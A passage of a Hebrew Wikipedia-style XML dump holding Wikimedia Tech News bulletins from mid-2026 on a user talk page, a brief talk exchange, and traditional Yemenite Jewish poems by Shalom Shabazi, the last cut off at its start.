* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:30|התקלה שדווחה|כל {{formatnum:30}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקן הבאג בגללו קבצי STL בשלושה מימדים הוצגו בצורה שגויה בידי הרחבת ה-3D של מציג המדיה. [https://phabricator.wikimedia.org/T416723]

'''עדכונים לעורכים הטכניים'''
* מחלקות CSS ישנות בשם &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;tleft&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; ו-&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;tright&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; הוחלפו במחלקות &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;floatleft&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; ו-&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;floatright&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; כי הן לא עבדו בצורה אחידה בכל הפלטפורמטת של מדיה ויקי, כמו תצוגה ניידת או יישומונים לניידים. המיזמים המשתמשים במחלקות הללו מתבקשים לבדוק את השימושים ולתכנן משימת מעבר. יש לשים לב שגם &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;floatleft&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; ו-&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;floatright&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; יכולים להיות מוכרזים כמיושנים בעתיד, אם כי אין תוכניות כאלו נכון לעכשיו. ניתן לקבל [[phab:T426452|פרטים נוספים]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.47/wmf.4|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/22|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W22&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 00:52, 26 במאי 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30584502 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 23 ==

&lt;section begin=&quot;technews-2026-W23&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/23|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* [[mw:Special:MyLanguage/Readers/Reader Experience|צוות חוויית הקריאה]] מבצע ניסוי כדי להציג את [[mw:Special:MyLanguage/Readers/Reader Experience/Reading lists|רשימות הקריאה]] הנמצאות עדיין בפיתוח למשתמשים הלא מחוברים בניידים ולבדוק האם השימוש בהן מעודד יצירת חשבונות בקצב גדול יותר מאשר בהצגת כוכב רשימת המעקב. [[mw:Special:MyLanguage/Readers/Reader Experience/Reading lists#Experiment timeline|הניסוי]] התחיל ב-18 במאי בוויקיפדיות בגרמנית, ספרדית, איטלקית, פורטוגזית, פולנית, גרמנית, טורקית ואורדו, והוא יימשך כחודש.
* צוות היישומונים לוויקיפדיה מבצע את [[mw:Special:MyLanguage/Wikimedia Apps/Team/Explore Feed Refresh/Phase 1|השלב הראשון]] בפריסת פיד הבית ליישומון בטא של אנדרואיד. הפיד החדש כולל את לשונית הקהילה המחודשת ואת הלשונית החדשה בשם &quot;בשבילך&quot; המציגה המלצות קריאה יומיות. העיצוב מחדש הוא חלק מהמאמץ הרחב יותר של שיפור גילוי התוכן ויצירת חוויות למידה מזמינות יותר ביישומוני ויקיפדיה.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:18|התקלה שדווחה|כל {{formatnum:18}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקנה התקלה בגללה תמונות נתקעו תוך כדי טעינה בחלק מההמלצות לעריכה ב[[w:Special:Homepage|מיוחד:דף הבית]]. [https://phabricator.wikimedia.org/T424048]

'''עדכונים לעורכים הטכניים'''
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.47/wmf.5|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/23|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W23&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 00:09, 2 ביוני 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30613639 --&gt;

== שלום וברכה ==

לדעתי כדאי להוסיף בכל דף בבלי בפרק &quot;קישורים חיצוניים&quot; קישור לדף באתר אוצה&quot;ס היהודי השיתופי. [[מיוחד:תרומות/&amp;#126;2026-29698-75|&amp;#126;2026-29698-75]] • [[שיחת משתמש:&amp;#126;2026-29698-75|שיחה]] 00:07, 5 ביוני 2026 (IDT)
: לדעתי עדיף לעשות את זה באמצעות התבנית של תחתית העמוד.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 00:25, 5 ביוני 2026 (IDT)
:: בכל מקרה מקומו של הדיון הזה הוא בדף השיחה של התלמוד הבבלי או במזנון ולא בדף שיחתי. בברכה, [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 00:27, 5 ביוני 2026 (IDT)

== ידיעות הטכנולוגיה 2026 – גיליון 24 ==

&lt;section begin=&quot;technews-2026-W24&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/24|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* המיזם Wikimedia Enterprise העלה את ההגבלות על שימוש חינם ב-API. מספר הפעמים בהם ניתן להשתמש ב-On-demand API עלה מ-5000 ל-50000 בחודש, וב-Snapshot API מ-15 ל-30 בחודש. בנוסף ניתן עכשיו לבצע Structured Contents snapshots גם מחשבונות ללא תשלום. השינויים הללו מרחיבים גישה ל-Wikimedia Enterprise עבור מפתחים, חוקרים וארגונים המשתמשים בתוכן של ויקימדיה. [https://enterprise.wikimedia.com/blog/enhanced-free-api]

'''עדכונים לעורכים'''
* לשעבר [[mw:Special:MyLanguage/Wikimedia_Apps/Team/Explore Feed Refresh/Phase 1|פיד הגילוי המתעדכן]], ששינה את שמו לפיד הבית, יופעל אצל 50% ממשתמשי יישומון ויקיפדיה לאנדרואיד. פיד הבית עוזר לקוראים לגלות תוכן מתאים באמצעות שתי לשוניות חדשות: לשונית הקהילה ו&quot;לשונית בשבילך&quot;. לשונית הקהילה מספקת פיד של תוכן ועדכונים מטעם קהילה רחבה של ויקימדיה והתנועה, ו&quot;לשונית בשבילך&quot; מציעה חוויית מסך מלא המציגה תוכן מותאם למה שמעניין את המשתמש. העיצוב מחדש הוא חלק ממאמץ רחב יותר לשפר גילוי ולהעלות את חוויית הלמידה ביישומון לוויקיפדיה.
* משחק הטריוויה היומי [[mw:Special:MyLanguage/Wikimedia Apps/Team/iOS/&quot;Which came first?&quot; Game|&lt;span dir=ltr&gt;Which came first?&lt;/span&gt;]] (מה היה קודם?) זמין עכשיו בגרסת בטא ביישומוני ויקיפדיה עבור iOS באנגלית, גרמנית, צרפתית, פורטוגזית, רוסית, ספרדית, ערבית, סינית וטורקית. המשחק עושה שימוש בארועים היסטוריים מתוך התוכן &quot;היום לפני&quot; ומאתגר קוראים לנחש מה משני הארועים קרה קודם. המשחק כבר קיים באנדרואיד. הקהילות המעוניינות להפוך את המשחק לזמין בשפתן מוזמנות ל[[mw:Special:MyLanguage/Wikimedia_Apps/Team/Games#Game availability by language|רשימת ההנחיות והדרישות]].
* [[m:Special:MyLanguage/WMDE Technical Wishes/Sub-referencing|הערות משנה]], הכלי החדש של מדיה-ויקי המאפשר להוסיף פרטים להערות כדי להשתמש בהן שימוש חוזר, יתחיל להגיע לאתרי ויקי של ויקימדיה לאחר תקופת ניסיון מוצלחת. הפריסה תתחיל ב-8 ביוני ברוב אתרי [[wikitech:Deployments/Train#Wednesday|Group 1]], לא כולל אתרים בעברית, ובוויקיצרפתית. שפות נוספות יצטרפו בחודשים הקרובים. הקהילות מוזמנות להתכונן באמצעות בדיקת [https://translatewiki.net/w/i.php?title=Special%3ATranslate&amp;group=ext-cite&amp;language=en&amp;action_source=search&amp;filter=%21translated&amp;optional=1&amp;action=translate הודעות המערכת של הרחבת Cite שטרם תורגמו לשפתן] ובדיקת השימושים ב-[[mw:Special:MyLanguage/Reference Tooltips|Reference Tooltips]] שייתכן שידרשו [[:phab:T416304#11668731|עדכון]] לתמיכה בפונקציונליות החדשה. באתרי ויקי המשתמשים ב-[[mw:Special:MyLanguage/Help:Reference Previews|Reference Previews]] לא נדרשים שינויים. הקהילות יכולות גם ליצור את [[Special:TrackingCategories|קטגוריית המעקב]] המוסתרת באמצעות הודעת המערכת &lt;span style=&quot;white-space:nowrap&quot;&gt;''cite-tracking-category-ref-details''&lt;/span&gt; ושימוש ב-&lt;code&gt;&lt;nowiki&gt;__HIDDENCAT__&lt;/nowiki&gt;&lt;/code&gt; או תבנית רלוונטית ולקשר אותה ל[[d:Q129764848|פריט הרלוונטי]] בוויקינתונים. [https://phabricator.wikimedia.org/T425662]
* הסתיים [[mw:Special:MyLanguage/Readers/Reader Growth/Mobile page previews#Experimentation|הניסוי להפעלת Page Previews]] בניידים. הצוות החליט לא להפעיל את הכלי בניידים מכיוון שהתוצאות לא הראו השפעה סטטיסטית משמעותית על שימור הקוראים. Page Previews כבר זמין בתצוגת מחשב וביישומונים, והוא מציג תמונה ממוזערת, פסקה ראשונה וקישור לערך כשהקוראים לוחצים על הקישור הכחול. הניסוי בדק את החוויה על ניידים בשש ויקיפדיות.
* [[mw:Special:MyLanguage/Codex/Design/Icons|ספריית האייקונים לממשק המשתמש]] תעבור [[phab:T399175|עדכון]] בהמשך השבוע או בשבוע הבא. רובם מתוך כ-300 אייקונים שונו במקצת ונוספו כ-30 חדשים. השינויים משפרים את הייקונים כדי להפוך אותם ליותר אחידים וניתנים להבנה, והם מספקים מאזן ויזואלי טוב יותר כשנעשה שימוש בהם בקבוצות.
* עודכן הממשק של מדיה-ויקי בשם ULS, או [[mw:Special:MyLanguage/Universal Language Selector|בורר השפות האוניברסלי]],  העוזר לבחור תוכן בשפות אחרות. הגרסה החדשה מהירה יותר ונגישה יותר, ומשתמשים במיזמי ויקימדיה יכולים עכשיו להדביק שפות מסוימות לגישה נוחה יותר. הפריסה לאתרי ויקימדיה תתקיים בהדרגה בשבועות הקרובים. ניתן לנסות את הכלי החדש באמצעות הפעלתו ב[[Special:Preferences#mw-prefsection-betafeatures|הגדרות בטא]] ולהשאיר משוב [[mw:Special:MyLanguage/Universal Language Selector/New ULS|בדף המיזם]]. 
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:21|התקלה שדווחה|כל {{formatnum:21}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקן הבאג בגללו לוח ניתוחי צפייה באתר pageviews.wmcloud.org הפסיק לעדכן את המידע הגרפי לכל המשתמשים בחודש שעבר. [https://phabricator.wikimedia.org/T427171]

'''עדכונים לעורכים הטכניים'''
* חתימת הפונקציה &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;mw.util.addPortletLink()&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; נעשתה פשוטה יותר. המפתחים יכולים עכשיו להעביר אובייקט עם רשימת ההגדרות בזמן יצירת הקישורים. החתימה הקודמת תמשיך לפעול מטעמי תאימות. למשל, במקום&lt;br/&gt;&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;mw.util.addPortletLink('p-cactions', '#', 'Stub', 'ca-stubtag', 'Add a stub tag to this page');&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; יש לכתוב את&lt;br/&gt;&lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;mw.util.addPortletLink('p-cactions', { href: '#', text: 'Stub', id: 'ca-stubtag', tooltip: 'Add a stub tag to this page' });&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt;. תומכי הסקריפטים מתבקשים לעבור על קוד קיים ולעדכן את השימושים של &lt;bdi lang=&quot;zxx&quot; dir=&quot;ltr&quot;&gt;&lt;code&gt;&lt;nowiki&gt;addPortletLink()&lt;/nowiki&gt;&lt;/code&gt;&lt;/bdi&gt; במידת הצורך. השינוי יגיע לכל אתרי ויקי ב-11 ביוני. תודה למתנדב הקהילה Gerges על השיפור הזה. [https://phabricator.wikimedia.org/T427945]
* '''דיוני סקר משאלות הקהילה''': צוות המוצר והטכנולוגיה [[m:Special:MyLanguage/Community Wishlist/Updates#May 20, 2026: Community Tech becomes a program|הציג שינויים]] הנועדים להעלות את כמות והרמה של המשאלות שיבוצעו, כולל פירוק הצוות הטכני של הקהילה, Community Tech. מתקיימים [[m:Special:MyLanguage/Community Wishlist/Updates|דיונים]] לגבי [[m:Talk:Community Wishlist#Proposed direction for Wishlist|הכיוון החדש לסקר המשאלות]] שהוצע בידי חברי הקהילה. זה כולל דרכים חדשות למבנה ההצבעות השנתי, שיפור המעקב אחר השינויים, הסרת תחומי המיקוד ו[[m:Special:MyLanguage/Community Wishlist/Updates|עדכונים לגבי הצוות]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.47/wmf.6|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/24|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W24&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 00:30, 9 ביוני 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30650573 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 25 ==

&lt;section begin=&quot;technews-2026-W25&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/25|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* [[mw:Special:MyLanguage/Readers/Reader Growth|צוות הקריאה Growth]] הפעיל את תכונת הבטא [[mw:Special:MyLanguage/Readers/Reader Growth/Image Browsing|דפדוף תמונות]] בדפדפנים הניידים של כל אתרי ויקיפדיה. התכונה מציגה קרוסלות תמונות בראש הערכים בעלי שלוש תמונות או יותר. העורכים יכולים לקבוע את ההתנהגות באמצעות מספר פקודות. ניתן להסתיר תמונה מסויימת בדף, באמצעות שימוש ב-&lt;code&gt;class=notpageimage&lt;/code&gt; המסיר אותה מתצוגה מקדימה של תמונות ממוזערות, או באמצעות &lt;code&gt;class=noviewer&lt;/code&gt; המסיר אותה מה-MediaViewer. ניתן גם לכבות את הקרוסלה בשלמותה בדף מסויים באמצעות מילת הקסם &lt;code&gt;&lt;nowiki&gt;__NOMEDIAVIEWERCAROUSEL__&lt;/nowiki&gt;&lt;/code&gt;. ניתן להשאיר משוב ולדווח על באגים ב[[mw:Talk:Readers/Reader Growth/Image Browsing|דף המיזם]]. 
* מעכשיו ניתן למיין את [[mw:Special:MyLanguage/Help:Tables#class=&quot;wikitable&quot;|טבלאות ויקי]] ב[[mw:Special:MyLanguage/Help:Sortable tables#Forcing the initial sort direction|סדר יורד]] בלחיצה הראשונה על כפתור המיון, באמצעות הוספת &lt;code dir=ltr&gt;data-sort-order=&quot;desc&quot;&lt;/code&gt; לתא העליון. עד כה הלחיצה הראשונה תמיד מיינה בסדר עולה. התוספת הזאת מאפשרת שליטה וגמישות טובות יותר. ההתנהגות לאחר הלחיצה הראשונה נותרה ללא שינוי. [https://phabricator.wikimedia.org/T398416]

'''עדכונים לעורכים'''
* התכונה [[mw:Special:MyLanguage/Article guidance|הנחיות לערכים]] נבדקת עכשיו אצל חלק מהעורכים היוצרים ערכים חדשים בוויקיפדיות באנגלית פשוטה, בצרפתית ובטורקית. הניסוי יתחיל בקרוב גם בוויקיפדיות בערבית ובבנגלית. [[w:simple:Special:NewArticle|התכונה הזאת]] מאפשרת לעורכים הנחיה הנקבעת בידי הקהילה כדי לעזור להם ליצור ערכים לפי הכללים של הקהילה הספציפית. עורכים מנוסים יכולים ליצור ולעדכן הנחיות לסוגים מסוימים של ערכים שנוצרים לעיתים קרובות בידי עורכים פחות מנוסים. הסברים לתחביר ההנחיות ניתן למצוא ב[[mw:Special:MyLanguage/Article guidance/Test feature guide#Markups in outlines|דף הזה]]. [[w:simple:Wikipedia:Article Guidance|הנחיות לדוגמה]] שניתן להתאים והסברים לדרכי ההתאמה נמצאים ב[[mw:Special:MyLanguage/Article guidance#Adapting a sample outline in a Wikipedia|חלק הזה]] של דף המיזם.
* אתרי ויקי המעוניינים להחליף את הכפתור &quot;ללא הגבלת זמן&quot; בדף מיוחד:חסימה עבור החשבונות הזמניים, למשל, באמצעות הצגת הזמן הנותר עד לסיום קיומו של החשבון, יוכלו לעשות זאת באמצעות יצירת [[MediaWiki:ipb-indefinite-expiry-temporary-account]] עם ציון התקופה הרלוונטית. [https://phabricator.wikimedia.org/T427125]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:41|התקלה שדווחה|כל {{formatnum:41}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* עד סוף יוני יידרשו ערכי user-agent תקינים לכל הורדה אוטומטית של דאמפים מהאתר dumps.wikimedia.org. קריאות אוטומטיות עם user-agent גנרי או ריק ייחסמו. מדובר ב[[phab:T400119|הרחבת האכיפה]] של [[foundation:Special:MyLanguage/Policy:Wikimedia Foundation User-Agent Policy|מדיניות ה-user-agent]] לטווח ארוך. לא תשתנה ההתנהגות בקריאות לשירותי הענן של ויקימדיה.
* הסתיימה הפריסה של [[mw:Wikimedia APIs/Rate limits|הגבלות הקצב הגלובליות על API]], כל ההגבלות בתוקף ובהתאם לתיעוד בכל סוגי ה-API ולכל הקבוצות. הבוטים הרצים על Toolforge/WMCS או עם הרשאות בוט בכל אתרי ויקי יישארו פטורים. על כל הבוטים להמשיך ולפעול לפי דרכי ההתנהגות המומלצות כדי להמנע מהחרגות קצב.
* [https://api.wikimedia.org/wiki/Main_Page פורטל ויקי עבור API] יעבור למצב לקריאה בלבד השבוע בין 15 ל-18 ביוני. בשבוע הבא, בין 22 ל-25 יוני, יופנו כל כתובות ה-URL הרלוונטיות ל-[[mw:Wikimedia APIs|API של מדיה-ויקי באתר mediawiki.org]]. פרטים נוספים ב[[wikitech:API Portal/Deprecation|דף המיזם]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.47/wmf.7|MediaWiki]]

'''פגישות ואירועים'''
* ב-17 ביוני בשעה 18:00 UTC (או 21:00 שעון ישראל) תקיים WMF שיחת דיסקורד בנושא בדיקת הקוד. [[mw:Special:MyLanguage/Developer Satisfaction Survey/2026|סקר סיפוק המפתחים]] הראה כי המתנדבים מתקשים בנושא סקירת הקוד ולכן הוחלט לדון בחוויות הללו כדי לחפש פתרונות ישימים. ניתן להצטרף לשיחה ב[https://discord.gg/wikipedia?event=1514727511102062664 שרת דיסקורד של קהילת ויקימדיה].
* [[m:Special:MyLanguage/Conferencia Wikimedia de América Latina 2026|ועידת ויקימדיה לאמריקה הלטינית]] תקיים האקתון אזורי שיאחד את הקהילה הטכנית של תנועת ויקימדיה, כולל מפתחים, מפעילי מערכת, מדעני מידע ומשתמשים בעלי הרשאות מורחבות. התורמים הטכניים המעוניינים בכך יכולים [https://docs.google.com/forms/d/e/1FAIpQLSf4osJzTHBJjQbYJk7TMVEJjTEQv7IgtsUDfP-o-qTgeRQQxw/viewform להגיש בקשה למלגת השתתפות] עד 21 ביוני בחצות לפי שעון בוליביה, UTC-4.
* מתקיימת ההרשמה להשתתפות בארוע מיוחד של אתגרי צוות ויקימניה. אתגרי הצוות יתקיימו אונליין ובהשתתפות אישית ב-21 ו-22 ביולי, לפני ועדת ויקימניה. כולם מוזמנים, בלי קשר למיומנויות או הרשמה לוויקימניה. לפרטים ניתן לפנות ל[[wmania:Special:MyLanguage/2026:Team challenges|דף אתגרי הצוות]]. ההרשמה תתקיים [https://wikimedia.eventyay.com/wm/teamchallenges/ כאן] עד 20 ביוני ב-23:00 UTC. 

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/25|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W25&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 19:49, 15 ביוני 2026 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30689604 --&gt;</text>
      <sha1>142ytscyzn97vryhd7fgyg3iy6cte2g</sha1>
    </revision>
  </page>
  <page>
    <title>שמעתי מפאתי תימן</title>
    <ns>0</ns>
    <id>135610</id>
    <revision>
      <id>3020682</id>
      <parentid>3019704</parentid>
      <timestamp>2026-06-18T17:09:52Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020682</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3035" sha1="8uamus24jcs9lz7k1z6s27smdola8ig" xml:space="preserve">
*'''סימן''': שלם שבזי משתא.
*'''משקל''': שלש תנועות בפותח, שתי תנועות, יתד ושתי תנועות בסוגר
{{שיר מנוקד|
'''שָׁ'''מַעתִּי, מִפַּאֲתֵי תֵימָן
קוֹל יָדִיד, קִיַּם בְּרִית נֶאמָן:

'''לִ'''שׁכֵנָיו, שִׂמַּח בְּרֹב גִּילָה
הִזמִינָם, לִראוֹת בְּרִית מִילָה
רְפָא צוּרִי, בֵּן זֶה וְהַצִּילָה
אַתָּה אֵל, מֶלֶך וְגַם רַחמָן:

'''מִ'''ילָתוֹ, רֵאשִׁית לְכָל מִצוָה
יִתרַפָּא, יִזכֶּה לְרֹב שַׁלוָה
בְּסוֹד הֶגיוֹן, תּוֹרָה וְגַם חֶדוָה
וּמזוֹנוֹ, יָפֶה וְגַם מִשׁמָן:

'''שָׁ'''לוֹם לָך, נִמּוֹל כְּמוֹ נָהָר
וְאָבִיךָ, יִזכֶּה אֲשֶׁר נִזהָר
ואביך בַּמִּילָה, מִיּוֹם עֲלוֹת בָּהָר
יוֹם קִבַּל, מִצוֹת וְקִיּוּמָן:

'''בְּ'''רִית מִילָה, תַּחלִישׁ לְיֵצֶר רָע
וּקלִפָּה, שֵׁנִית אֲשֶׁר יִפרָע
הִיא זֻהמַת, נָחָשׁ אֲשֶׁר נִגרָע
וְהַמִּילָה, לַדָּת תְּהֶא סִימָן:

'''זְ'''כוּת מִילָה, תַּגִּין עֲלֵי יָדִיד
מִשָּׂטָן, רָשָׁע שְׁהוּא מַמרִיד
וְהוּא נִרגָּן, אַלּוּף וְדוֹד מַפרִיד
הַמַּטעֶה, גּוּפוֹת וּמַזהִימָן:

'''י'''וֹם הִטעָה, חַוָּה בְּעֵץ דַּעַת
אֲשֶׁר יַיִן, הִשׁקָהּ לְקֻבַּעַת
גָּרַם לָהּ, מִיתָה בְּיוֹם טָעַת
וְגַם אָדָם, נִכלָם וְשָׁב נִטמָן:

'''מִ'''יּוֹם בָּא, אֵיתָן בְּהַאמָנָה
נִצטַוָּה, לִמּוֹל לִשׁמוֹנָה
וְכֵן נָהֲגוּ, זֶרַע מִי מָנָה
סוֹד מִילָה, נִתקַיְּמָה בִשׁמָן:

'''שֶׁ'''פַע טוֹב, יוֹסִיף לְזֶה שֶׁמָּל
וּבחַיִּים, טוֹבִים יְהֶא נִגמָל
נִתָּן לוֹ, מִיּוֹצְרוֹ מַחמָל
וּבחָרוֹ, מִיּוֹם אֲשֶׁר זֻמָּן:

'''תִּ'''זדַּכֵּך, נַפשׁוֹ וְגַם שִׂכלוֹ
וְאֵלִיָּה, יָבֹא וְיֵעִיד לוֹ
בְּגַן עֵדֶן, חֶלקוֹ וְגַם חֶבלוֹ
וּמהוּלִים, הַחֵן יַקדִּימָן:
 
'''אַ'''הבַת יִשׂרָאֵל מְאֹד רָמָה
בַּמִּצוֹת, תִּזרַח בְּהַקדָּמָה
לָהֶם דָּת, נִגלָה וְנֶעלָמָה
זְכוּת אָבוֹת, תּוֹסִיף לְהַעצִימָן:
}}

[[קטגוריה:נשוד]]
[[קטגוריה:שירי רבי שלום שבזי]]
[[קטגוריה:פיוטי יהדות תימן]]
[[קטגוריה:פיוטי ברית מילה]]</text>
      <sha1>8uamus24jcs9lz7k1z6s27smdola8ig</sha1>
    </revision>
  </page>
  <page>
    <title>שלום לבוא שבת</title>
    <ns>0</ns>
    <id>135755</id>
    <revision>
      <id>3020676</id>
      <parentid>3018010</parentid>
      <timestamp>2026-06-18T17:04:29Z</timestamp>
      <contributor>
        <username>אלשרעבי</username>
        <id>45783</id>
      </contributor>
      <origin>3020676</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1437" sha1="qqyslgtszlstpgdffb7keme1wv5wtrd" xml:space="preserve">*מחבר: רבי שלום שבזי
{{הור|סימן: {{מודגש|שדי}}}}
&lt;poem&gt;
{{שיר מנוקד|
שָׁלוֹם לְבוֹא שַׁבָּת, שָׁלוֹם וְשִׂמְחָה
